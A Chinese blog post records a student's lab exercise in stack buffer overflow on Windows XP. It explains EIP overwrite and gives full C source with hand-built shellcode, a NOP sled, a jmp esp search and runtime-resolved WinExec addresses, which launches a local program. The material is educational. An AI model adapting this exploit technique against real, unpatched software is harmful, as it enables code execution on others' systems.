• 记病毒实验


    1、缓冲区溢出

    1.1缓冲区溢出条件:

    1.使用非类型安全的语言(C或者C++),当缓冲区操作时不对边界做出检查,WHAT?通俗的说就是strcpy,memcpy等串操作和内存块拷贝操作缓冲区时,大数据往小空间上拷贝,造成溢出。
    2.函数调用时栈空间的布局为缓冲区溢出提供了条件

    {%asset_img 栈空间布局.png 栈空间布局%}

    当程序中函数被调用时,系统总是先将被调用函数所需的参数以逆序的方式入栈,然后将调用函数后面那条指令的地址(返回地址)入栈。随后控制转入被调用的函数去执行,程序一般在将需要保存的寄存器的值入栈后开始为被调用函数内的局部变量分配所需的存储空间,从而形成图示堆栈结构。
    3.如上图,局部变量如果是字符串数组,在进行缓冲区空间分配时,栈内同样符合小端方式对齐的原则,即shellcode[0]在最低端地址上,shellcode[100]在高端地址上,由于被调函数的局部变量分配在返回地址EIP(附近如下图所示:),所以一旦发生溢出,EIP就会被覆盖掉,从而导致程序的运行流程发生变化。

    缓冲区溢出原理

    结论:

    由于程序缺少必要的边界检查,如果局部变量中有字符数组存在,只要赋予该数组的字符串足够长,就能将上面的返回地址覆盖掉。字符数组超出了开始为其分配的空间大小,缓冲区溢出就发生了。
    精心构造溢出所用的字符串,将4个字节返回地址替换成别有用心的地址,当函数返回时,我们就能引导程序到我们指定的代码去执行,从而获得程序控制权。
    如果地址A所指定的内存空间事先存放了设计好的攻击代码,那么攻击就会随之发生。

    2、实例 (用缓冲区溢出的方式打开记事本notepad)#

    写在前面,本实例使用的是XP虚拟机

    1.建工程项目,C或者C++语言,我视频讲解里是VC++6.0写的,所以还是以此介绍。
    首先建立控制台工程,然后新建C++文件。建立好工程文件后就可以写代码了。

    创建控制台程序

    创建C++程序

    2.写代码,主函数很简单,仅调用一个test()函数,test函数2行代码就搞定了,用memcpy函数造缓冲区溢出,即大数据往小空间上拷贝,关键的问题是shellcode数组的构造,shellcode数组需要完成的功能是覆盖掉返回地址EIP后,转向攻击代码,即打开notepad.exe。
    主函数仅调用test()函数,test函数就两行代码,只要shellcode的大小超过10,缓冲区溢出就发生了!

    void test()
    {
        char buffer[10];
        memcpy(buffer,shellcode,sizeof(shellcode));
    }
    void main()
    {
    	test();
    }
    

    Shellcode构造:首先要理解到shellcode的功能,Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell, Shellcode因此得名。我们的实例中,shellcode就是要打开notepad.exe。所以如何构成这样的二进制代码,成为了关键,接触过OllyICE工具后,大家应该知道可以利用该调试工具构造二进制代码,仅需要写上对应的汇编语句。这里大家可以熟悉一下反汇编,push串对应68,push 立即数对应6A,WinExec函数地址为:7C8623AD,ExitProcess函数地址为7C81CAFA。
    汇编转二进制
    接下来已二进制的形式复制该段代码。粘贴到记事本上:
    二进制记事本
    然后将其书写成十六进制的样式就好了。
    十六进制shellcode
    而后编译该程序,报错是肯定的,因为我们并不清楚栈内元素的情况
    应用程序错误
    之后利用OllyICE进行调试
    OllyICE布局
    将断点放在memcpy函数调用完成的返回地址上,观察堆栈区的情况.memcpy函数
    F9跳转到改地址执行,观察堆栈区
    堆栈区
    现在的情况是溢出已经发生,但没有控制好溢出后的函数返回地址,让其进入了一个不能读写的地址上去执行,所以报错!
    唯一的办法就是去耐心的反复调试。本次调试前,请先加上一组0X90(对应汇编nop,即空操作),如下:
    新shellcode
    运行,报错,0X90909090不可读!继续调试,观察堆栈区情况,返回地址为0x90909090,我们需要改写该地址才能程序进入shellcode区执行,如何填写返回地址,填写内容及位置我们就必须精心计算!返回地址可以填写0012FF88,因为函数返回后跳转到0012FF88上去执行,是一串空操作,但之后就会进入我们写的打开记事本的shellcode 区!所以动手去试下这个位置改写为0012FF88,再运行程序!
    返回地址
    观察shellcode区,Shellcode第一个有效字符为68,它之前有7个90,然后就是返回地址了,改写情况如下:
    记事本shellcode
    一般来说应该是能正确执行的,执行的结果为打开本机的notepad程序

    3、推而广之

    3.1前言

    显而易见的是这样的程序通用性很差,只能在本机执行,因为其他机器的堆栈区不一定是在0012FF88后布置攻击代码。以及shellcode里面填写的0X7C8623AD,0X7C81CAFA等数据分别是XP下的WinExec和ExitProcess的函数地址。那么如何解决shellcode硬编码的问题就成了解决程序兼容性的关键!

    3.2兼容性解决

    第一步解决的问题是:不同机器布置攻击代码的位置不一样
    这里的解决方式是,观察函数返回后的ESP指针的情况:
    ESP指针
    观察后发现函数调用返回后栈顶指针的内容恰好为0012FF88,所以如果我们想进入到该地址执行,最后是用一条指令替代硬编码地址,Jmp esp指令可以为你解决该问题。Jmp esp指令对应的二进制码为FFE4,依旧是不同的系统动态链接库并不一样,所以这里也不能使用硬编码写死,简单粗暴的方法就是在本模块中找到FFE4,而不依赖于任何的模块,找到后还是把地址回填到shellcode对应位置上。

    DWORD base = 0x00400000;
    	while (1)
    	{
    		if (*(WORD*)base == 0xe4ff)
    			break;
    		base ++;
    	}
    	*(DWORD*)&shellcode[16] = base; //这里的shellcode[16]根据自己的实际情况回填,他会用查询到的数据替换掉原来的数据
    
    

    剩下的WinExec和ExitProcess函数也就依葫芦画瓢,利用LoadLibrary和GetProcAddress函数来获取了

    DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
    DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
    *(DWORD*)(shellcode+46) = a1; //同样的,shellcode后面的数字根据实际情况来填
    *(DWORD*)(shellcode+55) = a2;
    
    

    三个硬编码地址处理后,程序通用性就很好了,可以在多个版本操作系统上正常执行!

    4、后记

    先附上试验成功的代码:

    #include <string.h>
    #include <stdio.h>
    #include <windows.h>
    
    char shellcode[]=
    { //定义一个全局变量
    	0x90,0x90,0x90,0x90,
    	0x90,0x90,0x90,0x90,
    	0x90,0x90,0x90,0x90,
    	0x90,0x90,0x90,0x90,
    	0x90,0x90,0x90,0x90, //0x34,0xFF,0x12,0x00,这里填的本来是一开始打开notepad的返回地址
    	0x90,0x90,0x90,0x90, //24
    	0x90,0x90,0x90,
    
    	0x68,0x65,0x00,0x00,0x00,
    	0x68,0x6E,0x2E,0x65,0x78,
    	0x68,0x61,0x6F,0x72,0x61,
    	0x68,0x65,0x6E,0x67,0x68,
    	0x68,0x63,0x3A,0x2F,0x64, //这一段是名字全拼.exe的十六进制编码
    
    	0x6A,0x01,0x8B, //31
    	0xC4,0x83,0xC0,0x04,
    	0x50,0xB8,0x90,0x90,
    	0x90,0x90,0xFF,0xD0,
    	0x6A,0x00,0xB8,0x90,
    	0x90,0x90,0x90,0xFF,0xD0 //21,两个0xFF前面四个字节都是相应的函数地址
    };
    void test()
    {
    
    
    
        char buffer[10];
        memcpy(buffer,shellcode,sizeof(shellcode)); //memcpy缓冲区溢出常用函数,即大数据往小空间上拷贝
    }
    void main()
    {
    	
    	DWORD base = 0x00400000;
    	while (1)
    	{
    		if (*(WORD*)base == 0xe4ff) //在本地查找0xE4FF,也就是jmp ESP指令的地址
    			break;
    		base ++;
    	}
    	*(DWORD*)&shellcode[16] = base; //保存到shellcode里面替换手动输入的返回地址
    
    	DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
    	DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
    	*(DWORD*)(shellcode+61) = a1;
    	*(DWORD*)(shellcode+70) = a2; //动态获取,然后回填
    	test();
    }
    

    这个实验真的做的脑壳疼,本来人就菜,做这个还得东找西造,累的不要不要的。不过也坚定了我做东西要记录的想法,不然到时候真的记不住,太操蛋了-_^

  • 相关阅读:
    马克思主义哲学是否只是“抄袭”和断章取义了别人的思想
    马克思的思想说到底都是抄袭
    答郭沫若的《卖淫妇的饶舌》(节录)--马克思思想批判
    联系的普遍性
    辩证
    (实用篇)使用PHP生成PDF文档
    discuz!
    Access是什么?
    putty 与winscp 区别
    xshell 与 putty
  • 原文地址:https://www.cnblogs.com/Constantin/p/14327249.html
Copyright © 2020-2023  润新知